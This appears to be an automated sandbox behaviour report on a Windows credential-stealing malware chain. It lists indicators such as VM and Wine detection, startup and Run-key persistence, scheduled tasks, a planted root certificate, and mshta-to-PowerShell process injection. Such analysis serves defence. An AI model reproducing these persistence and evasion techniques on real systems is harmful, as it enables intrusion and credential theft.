Key opened \REGISTRY\MACHINE\HARDWARE\ACPI\DSDT\VBOX__ C:\Users\Admin\AppData\Local\Temp\10110250101\FvbuInU.exe N/A
Key opened \REGISTRY\MACHINE\HARDWARE\ACPI\DSDT\VBOX__ C:\Users\Admin\AppData\Local\Temp\10110280101\ILqcVeT.exe N/A

Blocklisted process makes network request

Description Indicator Process Target
N/A N/A C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe N/A

Uses browser remote debugging

credential_access stealer
Description Indicator Process Target
N/A N/A C:\Program Files\Google\Chrome\Application\chrome.exe N/A
N/A N/A C:\Program Files\Google\Chrome\Application\chrome.exe N/A
N/A N/A C:\Program Files\Google\Chrome\Application\chrome.exe N/A
N/A N/A C:\Program Files\Google\Chrome\Application\chrome.exe N/A
N/A N/A C:\Program Files\Google\Chrome\Application\chrome.exe N/A
N/A N/A C:\Program Files\Google\Chrome\Application\chrome.exe N/A
N/A N/A C:\Program Files\Google\Chrome\Application\chrome.exe N/A
N/A N/A C:\Program Files\Google\Chrome\Application\chrome.exe N/A
N/A N/A C:\Program Files\Google\Chrome\Application\chrome.exe N/A
N/A N/A C:\Program Files\Google\Chrome\Application\chrome.exe N/A
N/A N/A C:\Program Files\Google\Chrome\Application\chrome.exe N/A
N/A N/A C:\Program Files\Google\Chrome\Application\chrome.exe N/A
N/A N/A C:\Program Files\Google\Chrome\Application\chrome.exe N/A
N/A N/A C:\Program Files\Google\Chrome\Application\chrome.exe N/A
N/A N/A C:\Program Files\Google\Chrome\Application\chrome.exe N/A
N/A N/A C:\Program Files\Google\Chrome\Application\chrome.exe N/A
N/A N/A C:\Program Files\Google\Chrome\Application\chrome.exe N/A
N/A N/A C:\Program Files\Google\Chrome\Application\chrome.exe N/A
N/A N/A C:\Program Files\Google\Chrome\Application\chrome.exe N/A
N/A N/A C:\Program Files\Google\Chrome\Application\chrome.exe N/A
N/A N/A C:\Program Files\Google\Chrome\Application\chrome.exe N/A
N/A N/A C:\Program Files\Google\Chrome\Application\chrome.exe N/A
N/A N/A C:\Program Files\Google\Chrome\Application\chrome.exe N/A
N/A N/A C:\Program Files\Google\Chrome\Application\chrome.exe N/A
N/A N/A C:\Program Files\Google\Chrome\Application\chrome.exe N/A
N/A N/A C:\Program Files\Google\Chrome\Application\chrome.exe N/A
N/A N/A C:\Program Files\Google\Chrome\Application\chrome.exe N/A
N/A N/A C:\Program Files\Google\Chrome\Application\chrome.exe N/A
N/A N/A C:\Program Files\Google\Chrome\Application\chrome.exe N/A
N/A N/A C:\Program Files\Google\Chrome\Application\chrome.exe N/A
N/A N/A C:\Program Files\Google\Chrome\Application\chrome.exe N/A
N/A N/A C:\Program Files\Google\Chrome\Application\chrome.exe N/A
N/A N/A C:\Program Files\Google\Chrome\Application\chrome.exe N/A
N/A N/A C:\Program Files\Google\Chrome\Application\chrome.exe N/A
N/A N/A C:\Program Files\Google\Chrome\Application\chrome.exe N/A
N/A N/A C:\Program Files\Google\Chrome\Application\chrome.exe N/A
N/A N/A C:\Program Files\Google\Chrome\Application\chrome.exe N/A
N/A N/A C:\Program Files\Google\Chrome\Application\chrome.exe N/A
N/A N/A C:\Program Files\Google\Chrome\Application\chrome.exe N/A
N/A N/A C:\Program Files\Google\Chrome\Application\chrome.exe N/A

.NET Reactor proctector

Description Indicator Process Target
N/A N/A N/A N/A
N/A N/A N/A N/A

Checks BIOS information in registry

Description Indicator Process Target
Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\VideoBiosVersion C:\Users\Admin\AppData\Local\Temp\bb556cff4a\rapes.exe N/A
Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\SystemBiosVersion C:\Users\Admin\AppData\Local\Temp\10110210101\v6Oqdnc.exe N/A
Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\SystemBiosVersion C:\Users\Admin\AppData\Local\Temp\10110250101\FvbuInU.exe N/A
Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\SystemBiosVersion C:\Users\Admin\AppData\Local\Temp\10110280101\ILqcVeT.exe N/A
Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\VideoBiosVersion C:\Users\Admin\AppData\Local\Temp\10110280101\ILqcVeT.exe N/A
Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\VideoBiosVersion C:\Users\Admin\AppData\Local\TempLGIL2NF8SQF6MIRZHUBAB6NGMEMLKTBJ.EXE N/A
Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\VideoBiosVersion C:\Users\Admin\AppData\Local\Temp\10110210101\v6Oqdnc.exe N/A
Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\VideoBiosVersion C:\Users\Admin\AppData\Local\Temp\10110250101\FvbuInU.exe N/A
Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\SystemBiosVersion C:\Users\Admin\AppData\Local\TempLGIL2NF8SQF6MIRZHUBAB6NGMEMLKTBJ.EXE N/A
Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\SystemBiosVersion C:\Users\Admin\AppData\Local\Temp\bb556cff4a\rapes.exe N/A

Drops startup file

Description Indicator Process Target
File created C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\svchost.exe C:\Users\Admin\AppData\Local\Temp\10110190101\zY9sqWs.exe N/A
File opened for modification C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\svchost.exe C:\Users\Admin\AppData\Local\Temp\10110190101\zY9sqWs.exe N/A

Identifies Wine through registry keys

defense_evasion
Description Indicator Process Target
Key opened \REGISTRY\USER\S-1-5-21-3290804112-2823094203-3137964600-1000\Software\Wine C:\Users\Admin\AppData\Local\Temp\10110290101\rXOl0pp.exe N/A
Key opened \REGISTRY\USER\S-1-5-21-3290804112-2823094203-3137964600-1000\Software\Wine C:\Users\Admin\AppData\Local\TempLGIL2NF8SQF6MIRZHUBAB6NGMEMLKTBJ.EXE N/A
Key opened \REGISTRY\USER\S-1-5-21-3290804112-2823094203-3137964600-1000\Software\Wine C:\Users\Admin\AppData\Local\Temp\bb556cff4a\rapes.exe N/A
Key opened \REGISTRY\USER\S-1-5-21-3290804112-2823094203-3137964600-1000\Software\Wine C:\Users\Admin\AppData\Local\Temp\10110210101\v6Oqdnc.exe N/A
Key opened \REGISTRY\USER\S-1-5-21-3290804112-2823094203-3137964600-1000\Software\Wine C:\Users\Admin\AppData\Local\Temp\10110250101\FvbuInU.exe N/A
Key opened \REGISTRY\USER\S-1-5-21-3290804112-2823094203-3137964600-1000\Software\Wine C:\Users\Admin\AppData\Local\Temp\10110280101\ILqcVeT.exe N/A

Loads dropped DLL

Description Indicator Process Target
N/A N/A C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe N/A
N/A N/A C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\TempLGIL2NF8SQF6MIRZHUBAB6NGMEMLKTBJ.EXE N/A
N/A N/A C:\Users\Admin\AppData\Local\TempLGIL2NF8SQF6MIRZHUBAB6NGMEMLKTBJ.EXE N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\bb556cff4a\rapes.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\bb556cff4a\rapes.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\bb556cff4a\rapes.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\bb556cff4a\rapes.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\bb556cff4a\rapes.exe N/A
N/A N/A C:\Windows\SysWOW64\WerFault.exe N/A
N/A N/A C:\Windows\SysWOW64\WerFault.exe N/A
N/A N/A C:\Windows\SysWOW64\WerFault.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\bb556cff4a\rapes.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\10110220101\MCxU5Fj.exe N/A
N/A N/A C:\Windows\SysWOW64\WerFault.exe N/A
N/A N/A C:\Windows\SysWOW64\WerFault.exe N/A
N/A N/A C:\Windows\SysWOW64\WerFault.exe N/A
N/A N/A C:\Windows\SysWOW64\WerFault.exe N/A
N/A N/A C:\Windows\SysWOW64\WerFault.exe N/A
N/A N/A C:\Windows\SysWOW64\WerFault.exe N/A
N/A N/A C:\Windows\SysWOW64\WerFault.exe N/A
N/A N/A C:\Windows\SysWOW64\WerFault.exe N/A
N/A N/A C:\Windows\SysWOW64\WerFault.exe N/A
N/A N/A C:\Windows\SysWOW64\WerFault.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\bb556cff4a\rapes.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\bb556cff4a\rapes.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\bb556cff4a\rapes.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\10110240101\mAtJWNv.exe N/A
N/A N/A C:\Windows\SysWOW64\WerFault.exe N/A
N/A N/A C:\Windows\SysWOW64\WerFault.exe N/A
N/A N/A C:\Windows\SysWOW64\WerFault.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\bb556cff4a\rapes.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\bb556cff4a\rapes.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\bb556cff4a\rapes.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\bb556cff4a\rapes.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\bb556cff4a\rapes.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\10110270101\nhDLtPT.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\bb556cff4a\rapes.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\bb556cff4a\rapes.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\bb556cff4a\rapes.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\bb556cff4a\rapes.exe N/A

Reads user/profile data of local email clients

spyware stealer

Reads user/profile data of web browsers

spyware stealer

Unsecured Credentials: Credentials In Files

credential_access stealer

Accesses cryptocurrency files/wallets, possible credential harvesting

spyware

Adds Run key to start application

persistence
Description Indicator Process Target
Set value (str) \REGISTRY\USER\S-1-5-21-3290804112-2823094203-3137964600-1000\Software\Microsoft\Windows\CurrentVersion\Run\Anubis = "\"C:\\Users\\Admin\\AppData\\Roaming\\Local\\Caches\\zHoisLDD\\Anubis.exe\"" C:\Users\Admin\AppData\Local\Temp\10110230101\ce4pMzk.exe N/A

Checks installed software on the system

discovery

AutoIT Executable

Description Indicator Process Target
N/A N/A N/A N/A
N/A N/A N/A N/A

Drops file in Windows directory

Description Indicator Process Target
File created C:\Windows\Tasks\rapes.job C:\Users\Admin\AppData\Local\TempLGIL2NF8SQF6MIRZHUBAB6NGMEMLKTBJ.EXE N/A
File created C:\Windows\Tasks\Gxtuum.job C:\Users\Admin\AppData\Local\Temp\10110270101\nhDLtPT.exe N/A

Browser Information Discovery

discovery

Enumerates physical storage devices

System Location Discovery: System Language Discovery

discovery
Description Indicator Process Target
Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe N/A
Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language C:\Users\Admin\AppData\Local\Temp\10110190101\zY9sqWs.exe N/A
Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language C:\Users\Admin\AppData\Local\Temp\10110210101\v6Oqdnc.exe N/A
Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language C:\Users\Admin\AppData\Local\Temp\10110240101\mAtJWNv.exe N/A
Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language C:\Users\Admin\AppData\Local\Temp\7fca072b4b527dc77d56942313c4b33aeea3218343497694116a69b07fa1057d.exe N/A
Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language C:\Users\Admin\AppData\Local\TempLGIL2NF8SQF6MIRZHUBAB6NGMEMLKTBJ.EXE N/A
Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language C:\Users\Admin\AppData\Local\Temp\10110220101\MCxU5Fj.exe N/A
Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language C:\Users\Admin\AppData\Local\Temp\10110220101\MCxU5Fj.exe N/A
Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language C:\Users\Admin\AppData\Local\Temp\10110260101\Ps7WqSx.exe N/A
Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language C:\Users\Admin\AppData\Local\Temp\10110270101\nhDLtPT.exe N/A
Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language C:\Users\Admin\AppData\Local\Temp\10110280101\ILqcVeT.exe N/A
Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language C:\Windows\SysWOW64\mshta.exe N/A
Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language C:\Users\Admin\AppData\Local\Temp\10110250101\FvbuInU.exe N/A
Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language C:\Users\Admin\AppData\Local\Temp\a58456755d\Gxtuum.exe N/A
Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language C:\Windows\SysWOW64\cmd.exe N/A
Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language C:\Windows\SysWOW64\schtasks.exe N/A
Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language C:\Users\Admin\AppData\Local\Temp\bb556cff4a\rapes.exe N/A
Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language C:\Users\Admin\AppData\Local\Temp\10110240101\mAtJWNv.exe N/A

Checks processor information in registry

Description Indicator Process Target
Key opened \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0 C:\Users\Admin\AppData\Local\Temp\10110280101\ILqcVeT.exe N/A
Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\ProcessorNameString C:\Users\Admin\AppData\Local\Temp\10110280101\ILqcVeT.exe N/A

Delays execution with timeout.exe

defense_evasion
Description Indicator Process Target
N/A N/A C:\Windows\SysWOW64\timeout.exe N/A
N/A N/A C:\Windows\SysWOW64\timeout.exe N/A

Enumerates system info in registry

Description Indicator Process Target
Key opened \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS C:\Program Files\Google\Chrome\Application\chrome.exe N/A
Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemProductName C:\Program Files\Google\Chrome\Application\chrome.exe N/A
Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemManufacturer C:\Program Files\Google\Chrome\Application\chrome.exe N/A

Kills process with taskkill

defense_evasion
Description Indicator Process Target
N/A N/A C:\Windows\SysWOW64\taskkill.exe N/A
N/A N/A C:\Windows\SysWOW64\taskkill.exe N/A
N/A N/A C:\Windows\SysWOW64\taskkill.exe N/A
N/A N/A C:\Windows\SysWOW64\taskkill.exe N/A
N/A N/A C:\Windows\SysWOW64\taskkill.exe N/A

Modifies Internet Explorer settings

adware spyware
Description Indicator Process Target
Key created \REGISTRY\USER\S-1-5-21-3290804112-2823094203-3137964600-1000\Software\Microsoft\Internet Explorer\Main C:\Windows\SysWOW64\mshta.exe N/A

Modifies system certificate store

defense_evasion spyware trojan
Description Indicator Process Target
Key created \REGISTRY\MACHINE\SOFTWARE\Microsoft\SystemCertificates\AuthRoot\Certificates\5FB7EE0633E259DBAD0C4C9AE6D38F1A61C7DC25 C:\Users\Admin\AppData\Local\Temp\10110250101\FvbuInU.exe N/A
Set value (data) \REGISTRY\MACHINE\SOFTWARE\Microsoft\SystemCertificates\AuthRoot\Certificates\5FB7EE0633E259DBAD0C4C9AE6D38F1A61C7DC25\Blob = 0f0000000100000014000000e35ef08d884f0a0ade2f75e96301ce6230f213a8090000000100000034000000303206082b0601050507030106082b0601050507030206082b0601050507030406082b0601050507030306082b060105050703085300000001000000230000003021301f06096086480186fd6c020130123010060a2b0601040182373c0101030200c0140000000100000014000000b13ec36903f8bf4701d498261a0802ef63642bc30b00000001000000120000004400690067006900430065007200740000001d00000001000000100000008f76b981d528ad4770088245e2031b630300000001000000140000005fb7ee0633e259dbad0c4c9ae6d38f1a61c7dc252000000001000000c9030000308203c5308202ada003020102021002ac5c266a0b409b8f0b79f2ae462577300d06092a864886f70d0101050500306c310b300906035504061302555331153013060355040a130c446967694365727420496e6331193017060355040b13107777772e64696769636572742e636f6d312b30290603550403132244696769436572742048696768204173737572616e636520455620526f6f74204341301e170d3036313131303030303030305a170d3331313131303030303030305a306c310b300906035504061302555331153013060355040a130c446967694365727420496e6331193017060355040b13107777772e64696769636572742e636f6d312b30290603550403132244696769436572742048696768204173737572616e636520455620526f6f7420434130820122300d06092a864886f70d01010105000382010f003082010a0282010100c6cce573e6fbd4bbe52d2d32a6dfe5813fc9cd2549b6712ac3d5943467a20a1cb05f69a640b1c4b7b28fd098a4a941593ad3dc94d63cdb7438a44acc4d2582f74aa5531238eef3496d71917e63b6aba65fc3a484f84f6251bef8c5ecdb3892e306e508910cc4284155fbcb5a89157e71e835bf4d72093dbe3a38505b77311b8db3c724459aa7ac6d00145a04b7ba13eb510a984141224e656187814150a6795c89de194a57d52ee65d1c532c7e98cd1a0616a46873d03404135ca171d35a7c55db5e64e13787305604e511b4298012f1793988a202117c2766b788b778f2ca0aa838ab0a64c2bf665d9584c1a1251e875d1a500b2012cc41bb6e0b5138b84bcb0203010001a3633061300e0603551d0f0101ff040403020186300f0603551d130101ff040530030101ff301d0603551d0e04160414b13ec36903f8bf4701d498261a0802ef63642bc3301f0603551d23041830168014b13ec36903f8bf4701d498261a0802ef63642bc3300d06092a864886f70d010105050003820101001c1a0697dcd79c9f3c886606085721db2147f82a67aabf183276401057c18af37ad911658e35fa9efc45b59ed94c314bb891e8432c8eb378cedbe3537971d6e5219401da55879a2464f68a66ccde9c37cda834b1699b23c89e78222b7043e35547316119ef58c5852f4e30f6a0311623c8e7e2651633cbbf1a1ba03df8ca5e8b318b6008892d0c065c52b7c4f90a98d1155f9f12be7c366338bd44a47fe4262b0ac497690de98ce2c01057b8c876129155f24869d8bc2a025b0f44d42031dbf4ba70265d90609ebc4b17092fb4cb1e4368c90727c1d25cf7ea21b968129c3c9cbf9efc805c9b63cdec47aa252767a037f300827d54d7a9f8e92e13a377e81f4a C:\Users\Admin\AppData\Local\Temp\10110250101\FvbuInU.exe N/A
Set value (data) \REGISTRY\MACHINE\SOFTWARE\Microsoft\SystemCertificates\AuthRoot\Certificates\5FB7EE0633E259DBAD0C4C9AE6D38F1A61C7DC25\Blob = 190000000100000010000000ba4f3972e7aed9dccdc210db59da13c90300000001000000140000005fb7ee0633e259dbad0c4c9ae6d38f1a61c7dc251d00000001000000100000008f76b981d528ad4770088245e2031b630b0000000100000012000000440069006700690043006500720074000000140000000100000014000000b13ec36903f8bf4701d498261a0802ef63642bc35300000001000000230000003021301f06096086480186fd6c020130123010060a2b0601040182373c0101030200c0090000000100000034000000303206082b0601050507030106082b0601050507030206082b0601050507030406082b0601050507030306082b060105050703080f0000000100000014000000e35ef08d884f0a0ade2f75e96301ce6230f213a82000000001000000c9030000308203c5308202ada003020102021002ac5c266a0b409b8f0b79f2ae462577300d06092a864886f70d0101050500306c310b300906035504061302555331153013060355040a130c446967694365727420496e6331193017060355040b13107777772e64696769636572742e636f6d312b30290603550403132244696769436572742048696768204173737572616e636520455620526f6f74204341301e170d3036313131303030303030305a170d3331313131303030303030305a306c310b300906035504061302555331153013060355040a130c446967694365727420496e6331193017060355040b13107777772e64696769636572742e636f6d312b30290603550403132244696769436572742048696768204173737572616e636520455620526f6f7420434130820122300d06092a864886f70d01010105000382010f003082010a0282010100c6cce573e6fbd4bbe52d2d32a6dfe5813fc9cd2549b6712ac3d5943467a20a1cb05f69a640b1c4b7b28fd098a4a941593ad3dc94d63cdb7438a44acc4d2582f74aa5531238eef3496d71917e63b6aba65fc3a484f84f6251bef8c5ecdb3892e306e508910cc4284155fbcb5a89157e71e835bf4d72093dbe3a38505b77311b8db3c724459aa7ac6d00145a04b7ba13eb510a984141224e656187814150a6795c89de194a57d52ee65d1c532c7e98cd1a0616a46873d03404135ca171d35a7c55db5e64e13787305604e511b4298012f1793988a202117c2766b788b778f2ca0aa838ab0a64c2bf665d9584c1a1251e875d1a500b2012cc41bb6e0b5138b84bcb0203010001a3633061300e0603551d0f0101ff040403020186300f0603551d130101ff040530030101ff301d0603551d0e04160414b13ec36903f8bf4701d498261a0802ef63642bc3301f0603551d23041830168014b13ec36903f8bf4701d498261a0802ef63642bc3300d06092a864886f70d010105050003820101001c1a0697dcd79c9f3c886606085721db2147f82a67aabf183276401057c18af37ad911658e35fa9efc45b59ed94c314bb891e8432c8eb378cedbe3537971d6e5219401da55879a2464f68a66ccde9c37cda834b1699b23c89e78222b7043e35547316119ef58c5852f4e30f6a0311623c8e7e2651633cbbf1a1ba03df8ca5e8b318b6008892d0c065c52b7c4f90a98d1155f9f12be7c366338bd44a47fe4262b0ac497690de98ce2c01057b8c876129155f24869d8bc2a025b0f44d42031dbf4ba70265d90609ebc4b17092fb4cb1e4368c90727c1d25cf7ea21b968129c3c9cbf9efc805c9b63cdec47aa252767a037f300827d54d7a9f8e92e13a377e81f4a C:\Users\Admin\AppData\Local\Temp\10110250101\FvbuInU.exe N/A

Scheduled Task/Job: Scheduled Task

persistence execution
Description Indicator Process Target
N/A N/A C:\Windows\SysWOW64\schtasks.exe N/A
N/A N/A C:\Windows\SysWOW64\schtasks.exe N/A
N/A N/A C:\Windows\SysWOW64\schtasks.exe N/A

Suspicious behavior: EnumeratesProcesses

Description Indicator Process Target
N/A N/A C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe N/A
N/A N/A C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe N/A
N/A N/A C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\TempLGIL2NF8SQF6MIRZHUBAB6NGMEMLKTBJ.EXE N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\bb556cff4a\rapes.exe N/A
N/A N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A
N/A N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A
N/A N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A
N/A N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\10110210101\v6Oqdnc.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\10110230101\ce4pMzk.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\10110230101\ce4pMzk.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\10110230101\ce4pMzk.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\10110230101\ce4pMzk.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\10110250101\FvbuInU.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\10110250101\FvbuInU.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\10110250101\FvbuInU.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\10110250101\FvbuInU.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\10110250101\FvbuInU.exe N/A
N/A N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\10110280101\ILqcVeT.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\10110280101\ILqcVeT.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\10110280101\ILqcVeT.exe N/A
N/A N/A C:\Program Files\Google\Chrome\Application\chrome.exe N/A
N/A N/A C:\Program Files\Google\Chrome\Application\chrome.exe N/A

Suspicious use of AdjustPrivilegeToken

Description Indicator Process Target
Token: SeDebugPrivilege N/A C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe N/A
Token: SeDebugPrivilege N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A
Token: SeDebugPrivilege N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A
Token: SeDebugPrivilege N/A C:\Users\Admin\AppData\Local\Temp\10110230101\ce4pMzk.exe N/A
Token: SeDebugPrivilege N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A
Token: SeShutdownPrivilege N/A C:\Program Files\Google\Chrome\Application\chrome.exe N/A
Token: SeShutdownPrivilege N/A C:\Program Files\Google\Chrome\Application\chrome.exe N/A
Token: SeShutdownPrivilege N/A C:\Program Files\Google\Chrome\Application\chrome.exe N/A
Token: SeShutdownPrivilege N/A C:\Program Files\Google\Chrome\Application\chrome.exe N/A
Token: SeShutdownPrivilege N/A C:\Program Files\Google\Chrome\Application\chrome.exe N/A
Token: SeShutdownPrivilege N/A C:\Program Files\Google\Chrome\Application\chrome.exe N/A
Token: SeShutdownPrivilege N/A C:\Program Files\Google\Chrome\Application\chrome.exe N/A
Token: SeShutdownPrivilege N/A C:\Program Files\Google\Chrome\Application\chrome.exe N/A
Token: SeShutdownPrivilege N/A C:\Program Files\Google\Chrome\Application\chrome.exe N/A
Token: SeShutdownPrivilege N/A C:\Program Files\Google\Chrome\Application\chrome.exe N/A

Suspicious use of WriteProcessMemory

Description Indicator Process Target
PID 1048 wrote to memory of 2276 N/A C:\Users\Admin\AppData\Local\Temp\7fca072b4b527dc77d56942313c4b33aeea3218343497694116a69b07fa1057d.exe C:\Windows\SysWOW64\cmd.exe
PID 1048 wrote to memory of 2276 N/A C:\Users\Admin\AppData\Local\Temp\7fca072b4b527dc77d56942313c4b33aeea3218343497694116a69b07fa1057d.exe C:\Windows\SysWOW64\cmd.exe
PID 1048 wrote to memory of 2276 N/A C:\Users\Admin\AppData\Local\Temp\7fca072b4b527dc77d56942313c4b33aeea3218343497694116a69b07fa1057d.exe C:\Windows\SysWOW64\cmd.exe
PID 1048 wrote to memory of 2276 N/A C:\Users\Admin\AppData\Local\Temp\7fca072b4b527dc77d56942313c4b33aeea3218343497694116a69b07fa1057d.exe C:\Windows\SysWOW64\cmd.exe
PID 1048 wrote to memory of 2416 N/A C:\Users\Admin\AppData\Local\Temp\7fca072b4b527dc77d56942313c4b33aeea3218343497694116a69b07fa1057d.exe C:\Windows\SysWOW64\mshta.exe
PID 1048 wrote to memory of 2416 N/A C:\Users\Admin\AppData\Local\Temp\7fca072b4b527dc77d56942313c4b33aeea3218343497694116a69b07fa1057d.exe C:\Windows\SysWOW64\mshta.exe
PID 1048 wrote to memory of 2416 N/A C:\Users\Admin\AppData\Local\Temp\7fca072b4b527dc77d56942313c4b33aeea3218343497694116a69b07fa1057d.exe C:\Windows\SysWOW64\mshta.exe
PID 1048 wrote to memory of 2416 N/A C:\Users\Admin\AppData\Local\Temp\7fca072b4b527dc77d56942313c4b33aeea3218343497694116a69b07fa1057d.exe C:\Windows\SysWOW64\mshta.exe
PID 2276 wrote to memory of 2260 N/A C:\Windows\SysWOW64\cmd.exe C:\Windows\SysWOW64\schtasks.exe
PID 2276 wrote to memory of 2260 N/A C:\Windows\SysWOW64\cmd.exe C:\Windows\SysWOW64\schtasks.exe
PID 2276 wrote to memory of 2260 N/A C:\Windows\SysWOW64\cmd.exe C:\Windows\SysWOW64\schtasks.exe
PID 2276 wrote to memory of 2260 N/A C:\Windows\SysWOW64\cmd.exe C:\Windows\SysWOW64\schtasks.exe
PID 2416 wrote to memory of 2252 N/A C:\Windows\SysWOW64\mshta.exe C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
PID 2416 wrote to memory of 2252 N/A C:\Windows\SysWOW64\mshta.exe C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
PID 2416 wrote to memory of 2252 N/A C:\Windows\SysWOW64\mshta.exe C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
PID 2416 wrote to memory of 2252 N/A C:\Windows\SysWOW64\mshta.exe C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
PID 2252 wrote to memory of 2684 N/A C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe C:\Users\Admin\AppData\Local\TempLGIL2NF8SQF6MIRZHUBAB6NGMEMLKTBJ.EXE
PID 2252 wrote to memory of 2684 N/A C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe C:\Users\Admin\AppData\Local\TempLGIL2NF8SQF6MIRZHUBAB6NGMEMLKTBJ.EXE
PID 2252 wrote to memory of 2684 N/A C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe C:\Users\Admin\AppData\Local\TempLGIL2NF8SQF6MIRZHUBAB6NGMEMLKTBJ.EXE
PID 2252 wrote to memory of 2684 N/A C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe C:\Users\Admin\AppData\Local\TempLGIL2NF8SQF6MIRZHUBAB6NGMEMLKTBJ.EXE
